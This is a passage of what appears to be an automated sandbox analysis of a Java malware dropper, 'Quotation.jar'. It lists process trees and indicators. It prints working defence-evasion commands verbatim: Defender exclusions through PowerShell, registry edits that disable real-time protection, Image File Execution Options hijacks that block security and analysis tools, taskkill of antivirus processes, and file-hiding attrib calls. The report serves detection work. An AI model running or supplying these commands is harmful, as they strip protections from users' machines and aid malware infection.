java.exe 300 PID 1032 wrote to memory of 2984 1032 java.exe 300 PID 1032 wrote to memory of 2984 1032 java.exe 300 PID 2984 wrote to memory of 2960 2984 cmd.exe 301 PID 2984 wrote to memory of 2960 2984 cmd.exe 301 PID 2984 wrote to memory of 2960 2984 cmd.exe 301 PID 2984 wrote to memory of 1900 2984 cmd.exe 302 PID 2984 wrote to memory of 1900 2984 cmd.exe 302 PID 2984 wrote to memory of 1900 2984 cmd.exe 302 PID 1032 wrote to memory of 616 1032 java.exe 303 PID 1032 wrote to memory of 616 1032 java.exe 303 PID 1032 wrote to memory of 616 1032 java.exe 303 PID 616 wrote to memory of 1568 616 cmd.exe 304 PID 616 wrote to memory of 1568 616 cmd.exe 304 PID 616 wrote to memory of 1568 616 cmd.exe 304 PID 616 wrote to memory of 2412 616 cmd.exe 305 PID 616 wrote to memory of 2412 616 cmd.exe 305 PID 616 wrote to memory of 2412 616 cmd.exe 305 PID 1032 wrote to memory of 2488 1032 java.exe 306 PID 1032 wrote to memory of 2488 1032 java.exe 306 PID 1032 wrote to memory of 2488 1032 java.exe 306 PID 1032 wrote to memory of 360 1032 java.exe 308 PID 1032 wrote to memory of 360 1032 java.exe 308 PID 1032 wrote to memory of 360 1032 java.exe 308 PID 1032 wrote to memory of 1396 1032 java.exe 310 PID 1032 wrote to memory of 1396 1032 java.exe 310 PID 1032 wrote to memory of 1396 1032 java.exe 310 PID 1032 wrote to memory of 2968 1032 java.exe 312 PID 1032 wrote to memory of 2968 1032 java.exe 312 PID 1032 wrote to memory of 2968 1032 java.exe 312 PID 1032 wrote to memory of 2552 1032 java.exe 314 PID 1032 wrote to memory of 2552 1032 java.exe 314 PID 1032 wrote to memory of 2552 1032 java.exe 314 PID 1032 wrote to memory of 1596 1032 java.exe 316 PID 1032 wrote to memory of 1596 1032 java.exe 316 PID 1032 wrote to memory of 1596 1032 java.exe 316 -
Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 1932 powershell.exe 1932 powershell.exe -
Sets file execution options in registry 2 TTPs 32 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\procexp.exe\debugger = "svchost.exe" reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\capinfos.exe\debugger = "svchost.exe" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MSASCui.exe reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MpUXSrv.exe reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ConfigSecurityPolicy.exe\debugger = "svchost.exe" reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MSASCui.exe\debugger = "svchost.exe" reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MsMpEng.exe\debugger = "svchost.exe" reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ProcessHacker.exe\debugger = "svchost.exe" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ConfigSecurityPolicy.exe reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\tshark.exe reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\text2pcap.exe\debugger = "svchost.exe" reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\NisSrv.exe\debugger = "svchost.exe" reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MSASCuiL.exe\debugger = "svchost.exe" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\procexp.exe reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MpUXSrv.exe\debugger = "svchost.exe" reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wireshark.exe\debugger = "svchost.exe" reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\rawshark.exe\debugger = "svchost.exe" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wireshark.exe reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MsMpEng.exe reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\rawshark.exe reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\dumpcap.exe\debugger = "svchost.exe" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\capinfos.exe reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\tshark.exe\debugger = "svchost.exe" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\NisSrv.exe reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MSASCuiL.exe reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Procmon.exe reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MpCmdRun.exe\debugger = "svchost.exe" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\text2pcap.exe reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ProcessHacker.exe reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\dumpcap.exe reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MpCmdRun.exe reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Procmon.exe\debugger = "svchost.exe" reg.exe
Processes
-
C:\Windows\system32\java.exejava -jar C:\Users\Admin\AppData\Local\Temp\Quotation.jar1⤵
- Adds Run entry to start application
- Suspicious use of SetWindowsHookEx
- Loads dropped DLL
- Drops file in System32 directory
- Drops desktop.ini file(s)
- Suspicious use of WriteProcessMemory
PID:1032 -
C:\Windows\system32\cmd.execmd.exe2⤵PID:1772
-
-
C:\Windows\system32\cmd.execmd.exe2⤵
- Suspicious use of WriteProcessMemory
PID:1784 -
C:\Windows\System32\Wbem\WMIC.exeWMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /Format:List3⤵
- Suspicious use of AdjustPrivilegeToken
PID:1788
-
-
-
C:\Windows\system32\cmd.execmd.exe2⤵
- Suspicious use of WriteProcessMemory
PID:1824 -
C:\Windows\System32\Wbem\WMIC.exeWMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path FirewallProduct Get displayName /Format:List3⤵
- Suspicious use of AdjustPrivilegeToken
PID:1836
-
-
-
C:\Windows\system32\attrib.exeattrib +h C:\Users\Admin\Oracle2⤵
- Views/modifies file attributes
PID:1900
-
-
C:\Windows\system32\attrib.exeattrib +h +r +s C:\Users\Admin\.ntusernt.ini2⤵
- Views/modifies file attributes
PID:1904
-
-
C:\Windows\system32\attrib.exeattrib -s -r C:\Users\Admin\osDbp\Desktop.ini2⤵
- Views/modifies file attributes
- Drops desktop.ini file(s)
PID:540
-
-
C:\Windows\system32\attrib.exeattrib +s +r C:\Users\Admin\osDbp\Desktop.ini2⤵
- Views/modifies file attributes
- Drops desktop.ini file(s)
PID:616
-
-
C:\Windows\system32\attrib.exeattrib -s -r C:\Users\Admin\osDbp2⤵
- Views/modifies file attributes
PID:1600
-
-
C:\Windows\system32\attrib.exeattrib +s +r C:\Users\Admin\osDbp2⤵
- Views/modifies file attributes
PID:1572
-
-
C:\Windows\system32\attrib.exeattrib +h C:\Users\Admin\osDbp2⤵
- Views/modifies file attributes
PID:1568
-
-
C:\Windows\system32\attrib.exeattrib +h +s +r C:\Users\Admin\osDbp\VNDAi.class2⤵
- Views/modifies file attributes
PID:1624
-
-
C:\Windows\system32\cmd.execmd.exe2⤵
- Suspicious use of WriteProcessMemory
PID:1928 -
C:\Windows\system32\reg.exereg query "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\uninstall" /reg:643⤵
- Checks for installed software on the system
PID:1992
-
-
C:\Windows\system32\reg.exereg query "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\uninstall" /reg:323⤵
- Checks for installed software on the system
PID:2096
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -inputformat none -outputformat none -NonInteractive -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\osDbp','C:\Users\Admin\AppData\Local\Temp\','C:\Users\Admin\jitsib64.dll','C:\Users\Admin\osDbp\lib\bridj-0.7.0.jar','C:\Users\Admin\Google Chrome' -ExclusionExtension 'jar','exe','dll','txt','hta','vbs','jpg','jpeg','png','js','doc','docx','pdf','scr' -ExclusionProcess 'java.exe','javaw.exe','reg.exe','regedit.exe','tasklist.exe','netstat.exe','cmd.exe','netsh.exe','taskkill.exe'"2⤵
- Suspicious behavior: EnumeratesProcesses
PID:1932
-
-
C:\Windows\System32\reg.exe"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f2⤵PID:1020
-
-
C:\Windows\System32\taskkill.exe"C:\Windows\System32\taskkill.exe" /IM "ProcessHacker.exe" /T /F2⤵
- Kills process with taskkill
PID:2024
-
-
C:\Windows\System32\reg.exe"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ProcessHacker.exe" /v debugger /t REG_SZ /d svchost.exe /f /reg:642⤵
- Sets file execution options in registry
PID:1028
-
-
C:\Windows\System32\reg.exe"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f2⤵
- Modifies Windows Defender Real-time Protection settings
PID:476
-
-
C:\Windows\System32\reg.exe"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MSASCuiL.exe" /v debugger /t REG_SZ /d svchost.exe /f /reg:642⤵
- Sets file execution options in registry
PID:880
-
-
C:\Windows\System32\reg.exe"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /f2⤵
- Modifies Windows Defender Real-time Protection settings
PID:1396
-
-
C:\Windows\System32\reg.exe"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MSASCui.exe" /v debugger /t REG_SZ /d svchost.exe /f /reg:642⤵
- Sets file execution options in registry
PID:1456
-
-
C:\Windows\System32\reg.exe"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MsMpEng.exe" /v debugger /t REG_SZ /d svchost.exe /f /reg:642⤵
- Sets file execution options in registry
PID:1424
-
-
C:\Windows\System32\reg.exe"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f2⤵
- Modifies Windows Defender Real-time Protection settings
PID:1804
-
-
C:\Windows\System32\reg.exe"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MpUXSrv.exe" /v debugger /t REG_SZ /d svchost.exe /f /reg:642⤵
- Sets file execution options in registry
PID:1788
-
-
C:\Windows\System32\reg.exe"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MpCmdRun.exe" /v debugger /t REG_SZ /d svchost.exe /f /reg:642⤵
- Sets file execution options in registry
PID:1860
-
-
C:\Windows\System32\reg.exe"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\NisSrv.exe" /v debugger /t REG_SZ /d svchost.exe /f /reg:642⤵
- Sets file execution options in registry
PID:1368
-
-
C:\Windows\System32\reg.exe"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ConfigSecurityPolicy.exe" /v debugger /t REG_SZ /d svchost.exe /f /reg:642⤵
- Sets file execution options in registry
PID:1888
-
-
C:\Windows\System32\reg.exe"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\procexp.exe" /v debugger /t REG_SZ /d svchost.exe /f /reg:642⤵
- Sets file execution options in registry
PID:816
-
-
C:\Windows\System32\reg.exe"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wireshark.exe" /v debugger /t REG_SZ /d svchost.exe /f /reg:642⤵
- Sets file execution options in registry
PID:1544
-
-
C:\Windows\System32\reg.exe"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\tshark.exe" /v debugger /t REG_SZ /d svchost.exe /f /reg:642⤵
- Sets file execution options in registry
PID:2008
-
-
C:\Windows\System32\reg.exe"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\text2pcap.exe" /v debugger /t REG_SZ /d svchost.exe /f /reg:642⤵
- Sets file execution options in registry
PID:1400
-
-
C:\Windows\System32\reg.exe"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\rawshark.exe" /v debugger /t REG_SZ /d svchost.exe /f /reg:642⤵
- Sets file execution options in registry
PID:1988
-
-
C:\Windows\system32\cmd.execmd.exe2⤵PID:1856
-
C:\Windows\System32\Wbem\WMIC.exewmic /Node:localhost /Namespace:\\root\cimv2 Path Win32_PnpSignedDriver Get /Format:List3⤵PID:2004
-
-
-
C:\Windows\System32\reg.exe"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\dumpcap.exe" /v debugger /t REG_SZ /d svchost.exe /f /reg:642⤵
- Sets file execution options in registry
PID:1768
-
-
C:\Windows\System32\taskkill.exe"C:\Windows\System32\taskkill.exe" /IM "MSASCuiL.exe" /T /F2⤵
- Kills process with taskkill
PID:1004
-
-
C:\Windows\System32\reg.exe"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\capinfos.exe" /v debugger /t REG_SZ /d svchost.exe /f /reg:642⤵
- Sets file execution options in registry
PID:1392
-
-
C:\Windows\System32\reg.exe"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Procmon.exe" /v debugger /t REG_SZ /d svchost.exe /f /reg:642⤵
- Sets file execution options in registry
PID:2032
-
-
C:\Windows\system32\cmd.execmd.exe2⤵PID:2272
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall" /reg:643⤵
- Checks for installed software on the system
PID:2300
-
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall" /reg:323⤵
- Checks for installed software on the system
PID:2312
-
-
-
C:\Windows\System32\taskkill.exe"C:\Windows\System32\taskkill.exe" /IM "MSASCui.exe" /T /F2⤵
- Kills process with taskkill
PID:2324
-
-
C:\Windows\system32\cmd.execmd.exe2⤵PID:2336
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\7-Zip" /reg:643⤵
- Checks for installed software on the system
PID:2360
-
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\7-Zip" /reg:323⤵PID:2428
-
-
-
C:\Windows\system32\cmd.execmd.exe2⤵PID:2444
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\AddressBook" /reg:643⤵PID:2456
-
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\AddressBook" /reg:323⤵PID:2468
-
-
-
C:\Windows\system32\cmd.execmd.exe2⤵PID:2484
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\Connection Manager" /reg:643⤵PID:2512
-
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\Connection Manager" /reg:323⤵PID:2528
-
-
-
C:\Windows\system32\cmd.execmd.exe2⤵PID:2548
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\DirectDrawEx" /reg:643⤵PID:2560
-
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\DirectDrawEx" /reg:323⤵PID:2572
-
-
-
C:\Windows\system32\cmd.execmd.exe2⤵PID:2592
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\DXM_Runtime" /reg:643⤵PID:2616
-
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\DXM_Runtime" /reg:323⤵PID:2628
-
-
-
C:\Windows\System32\taskkill.exe"C:\Windows\System32\taskkill.exe" /IM "MsMpEng.exe" /T /F2⤵
- Kills process with taskkill
PID:2604
-
-
C:\Windows\system32\cmd.execmd.exe2⤵PID:2656
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\Fontcore" /reg:643⤵PID:2676
-
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\Fontcore" /reg:323⤵PID:2692
-
-
-
C:\Windows\system32\cmd.execmd.exe2⤵PID:2712
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\IE40" /reg:643⤵PID:2724
-
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\IE40" /reg:323⤵PID:2736
-
-
-
C:\Windows\system32\cmd.execmd.exe2⤵PID:2748
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\IE4Data" /reg:643⤵PID:2760
-
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\IE4Data" /reg:323⤵PID:2772
-
-
-
C:\Windows\system32\cmd.execmd.exe2⤵PID:2784
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\IE5BAKEX" /reg:643⤵PID:2800
-
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\IE5BAKEX" /reg:323⤵PID:2824
-
-
-
C:\Windows\system32\cmd.execmd.exe2⤵PID:2836
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\IEData" /reg:643⤵PID:2848
-
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\IEData" /reg:323⤵PID:2860
-
-
-
C:\Windows\system32\cmd.execmd.exe2⤵PID:2872
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\MobileOptionPack" /reg:643⤵PID:2888
-
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\MobileOptionPack" /reg:323⤵PID:2900
-
-
-
C:\Windows\system32\cmd.execmd.exe2⤵PID:2912
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\Mozilla Firefox 75.0 (x64 en-US)" /reg:643⤵
- Checks for installed software on the system
PID:2924
-
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\Mozilla Firefox 75.0 (x64 en-US)" /reg:323⤵PID:2956
-
-
-
C:\Windows\System32\taskkill.exe"C:\Windows\System32\taskkill.exe" /IM "MpUXSrv.exe" /T /F2⤵
- Kills process with taskkill
PID:2936
-
-
C:\Windows\system32\cmd.execmd.exe2⤵PID:2976
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\MozillaMaintenanceService" /reg:643⤵
- Checks for installed software on the system
PID:2992
-
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\MozillaMaintenanceService" /reg:323⤵PID:3020
-
-
-
C:\Windows\system32\cmd.execmd.exe2⤵PID:3032
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\MPlayer2" /reg:643⤵PID:3044
-
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\MPlayer2" /reg:323⤵PID:3060
-
-
-
C:\Windows\system32\cmd.execmd.exe2⤵PID:428
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\Office14.PROPLUS" /reg:643⤵
- Checks for installed software on the system
PID:1968
-
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\Office14.PROPLUS" /reg:323⤵PID:2000
-
-
-
C:\Windows\system32\cmd.execmd.exe2⤵PID:2104
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\SchedulingAgent" /reg:643⤵PID:2156
-
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\SchedulingAgent" /reg:323⤵PID:2192
-
-
-
C:\Windows\system32\cmd.execmd.exe2⤵PID:1028
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\VLC media player" /reg:643⤵
- Checks for installed software on the system
PID:1084
-
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\VLC media player" /reg:323⤵PID:1468
-
-
-
C:\Windows\System32\taskkill.exe"C:\Windows\System32\taskkill.exe" /IM "MpCmdRun.exe" /T /F2⤵
- Kills process with taskkill
PID:2132
-
-
C:\Windows\system32\cmd.execmd.exe2⤵PID:1616
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\WIC" /reg:643⤵PID:572
-
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\WIC" /reg:323⤵PID:2108
-
-
-
C:\Windows\system32\cmd.execmd.exe2⤵PID:1644
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{09CCBE8E-B964-30EF-AE84-6537AB4197F9}" /reg:643⤵
- Checks for installed software on the system
PID:2148
-
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{09CCBE8E-B964-30EF-AE84-6537AB4197F9}" /reg:323⤵PID:2120
-
-
-
C:\Windows\system32\cmd.execmd.exe2⤵PID:2072
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{12578975-C765-4BDF-8DDC-3284BC0E855F}" /reg:643⤵
- Checks for installed software on the system
PID:792
-
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{12578975-C765-4BDF-8DDC-3284BC0E855F}" /reg:323⤵PID:1868
-
-
-
C:\Windows\system32\cmd.execmd.exe2⤵PID:1752
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}" /reg:643⤵
- Checks for installed software on the system
PID:1964
-
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}" /reg:323⤵PID:1488
-
-
-
C:\Windows\system32\cmd.execmd.exe2⤵PID:1836
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{26A24AE4-039D-4CA4-87B4-2F06417080FF}" /reg:643⤵
- Checks for installed software on the system
PID:1444
-
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{26A24AE4-039D-4CA4-87B4-2F06417080FF}" /reg:323⤵PID:1400
-
-
-
C:\Windows\system32\cmd.execmd.exe2⤵PID:1992
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{37B8F9C7-03FB-3253-8781-2517C99D7C00}" /reg:643⤵
- Checks for installed software on the system
PID:1456
-
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{37B8F9C7-03FB-3253-8781-2517C99D7C00}" /reg:323⤵PID:292
-
-
-
C:\Windows\system32\cmd.execmd.exe2⤵PID:2100
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{5740BD44-B58D-321A-AFC0-6D3D4556DD6C}" /reg:643⤵
- Checks for installed software on the system
PID:1756
-
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{5740BD44-B58D-321A-AFC0-6D3D4556DD6C}" /reg:323⤵PID:1780
-
-
-
C:\Windows\system32\cmd.execmd.exe2⤵PID:2196
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{5FCE6D76-F5DC-37AB-B2B8-22AB8CEDB1D4}" /reg:643⤵
- Checks for installed software on the system
PID:2124
-
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{5FCE6D76-F5DC-37AB-B2B8-22AB8CEDB1D4}" /reg:323⤵PID:2232
-
-
-
C:\Windows\System32\taskkill.exe"C:\Windows\System32\taskkill.exe" /IM "NisSrv.exe" /T /F2⤵
- Kills process with taskkill
PID:1840
-
-
C:\Windows\system32\cmd.execmd.exe2⤵PID:2308
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{64A3A4F4-B792-11D6-A78A-00B0D0170800}" /reg:643⤵
- Checks for installed software on the system
PID:2316
-
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{64A3A4F4-B792-11D6-A78A-00B0D0170800}" /reg:323⤵PID:2364
-
-
-
C:\Windows\system32\cmd.execmd.exe2⤵PID:2360
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90140000-0011-0000-1000-0000000FF1CE}" /reg:643⤵
- Checks for installed software on the system
PID:2464
-
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90140000-0011-0000-1000-0000000FF1CE}" /reg:323⤵PID:2452
-
-
-
C:\Windows\system32\cmd.execmd.exe2⤵PID:2492
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90140000-0015-0409-1000-0000000FF1CE}" /reg:643⤵
- Checks for installed software on the system
